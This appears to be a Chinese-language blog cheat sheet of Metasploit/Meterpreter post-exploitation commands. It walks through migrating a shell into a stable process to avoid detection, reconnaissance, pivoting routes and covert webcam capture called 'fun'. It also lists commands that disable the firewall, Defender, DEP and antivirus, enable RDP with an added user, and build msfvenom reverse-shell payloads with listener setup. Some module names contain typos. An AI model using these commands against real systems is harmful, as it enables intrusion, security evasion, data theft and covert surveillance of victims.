1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
进程迁移
获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到

获取目标机正在运行的进程:ps

输入getpid命令查看shell的进程号(pid),然后根据进程号对应ps命令查出来的name

查看shell的进程号:getpid

输入migrate 448命令把shell移动到pid为448的exe进程里,因为该进程是一个稳定的应用,完成进程迁移后,再次输入getpid命令查看shell的进程号

把shell进程迁移到(pid=448)的进程里:migrate 448

完成后,原先shell的进程会自动关闭,如果没有自动关闭可以输入 kill 984杀死该进程

手动关闭(pid=984)进程:kill 984

!!!!!!!!!自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移

自动寻找合适的进程迁移:run post/windows/manage/migrate

系统命令
获得稳定的进程后,接下来收集系统信息

查看目标机的系统信息 sysinfo
检查目标机是否正在运行(最近的运行时间) idletime
查看目标机完整的网络设置 route
将当前会话放到后台 background
查看当前目标机上已经渗透成功的用户名 getuid
关闭目标机系统杀毒软件 run post/windows/manage/killav
启动远程桌面协议(3389) run post/windows/manage/enable_rdp
查看目标机的本地子网情况 run post/windows/manage/autoroute


可以借助被攻陷的主机对其他网络进行攻击:

添加路由 route add 192.168.43.0 255.255.255.0
查看路由情况 route print
列举当前那些用户登陆目标机 run post/windows/gather/enum_logged_on_users
列举安装在目标机上的应用程序 run post/windows/gather/enum_applications
获取目标机器的分区情况 run post/windows/gather/forensics/enum_drives
检查目标机是否运行在虚拟机上 run post/windows/gather/checkvm
开启服务 run post/windows/gather/enum_services
查看共享 run post/windwos/gather/enum_shares
获取主机最近的系统操作 run post/windows/gather/dumplinks
查看补丁 run post/windows/gather/enum_applications



几个好玩的命令:

对远程主机当前屏幕进行截图 screenshot
查看目标机有没有摄像头 webcam_list
打开目标机摄像头拍一张照片 webcam_snap
开启直播模式 webcam_stream
进入目标机的命令模式 shell


文件系统命令
Meterpreter支持各种文件系统命令,用于搜索文件并执行各种任务

pwd或getwd:查看当前处于目标机的哪个目录
getlwd:查看当前处于本地的哪个目录
ls:列出当前目录中的所有文件
cd:切换目录
search-f*.txt-d c: \:可以搜索C盘中所有以.txt为扩展名的文件,其中-f用于指定搜索文件模式,-d用于指定在哪个目录下进行搜索
download C: \test.txt/root:下载目标机C盘的test.txt文件到攻击机root下
upload/root/test.txt C:\:上传攻击机root目录下的test.txt文件到目标机C盘下

上述可以使我们获得更多关于目标机的信息,当然还包含很多文件系统命令,需要我们去了解。

后渗透攻击:权限提升
在渗透测试的过程中很有可能只获得了一个系统的Guest或者User权限,低的权限级别使我们受到了很多的限制,在实施横向渗透或者提权攻击时很困难,在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guest提升到User再到admin最后到System级别,渗透的目的是获取服务器的最高权限,也就是Windows的管理员账号或linux的root权限。

提升权限的方式
纵向提权:低权限A获得高权限B的权限也称为权限升级
横向提权:获取同级别的权限,通过系统A获取了系统B的权限

后渗透攻击:关闭杀软
关闭防火墙:
netsh advfirewall set allprofiles state off
关闭Denfender:
net stop windefend
关闭DEP:
bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件:
run killav
run post/windows/manage/killava

后渗透攻击:远程连接
开启远程桌面:
run post/windows/manage/enable_rdp
run getgui -e
开启远程桌面并添加一个新用户:
run getgui -u xxx -p ean
开启远程桌面并绑定在8888端口:
run getgui -e -f 8888
截图:
load espia
screengrab

whoami/groups:查看当前的权限

1
2
3
4
5
6
7
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.7 LPORT=1002 -f elf -o shell.elf
生成Linux shell
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.1.7
set LPORT 1002
exploit
1
2
3
4
5
6
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=1003 -f exe -o shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.7 # 攻击机的 IP 地址
set LPORT 1003 # 监听端口
exploit
1
2
3
4
5
6
7
不用下载后门文件
msf6 post(linux/busybox/wget_exec) > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target Linux
msf6 exploit(multi/script/web_delivery) > set SRVHOST 192.168.240.130
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.240.130
msf6 exploit(multi/script/web_delivery) > set payload /linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > run

image-20241220220016485

1
2
background
sessions -i 1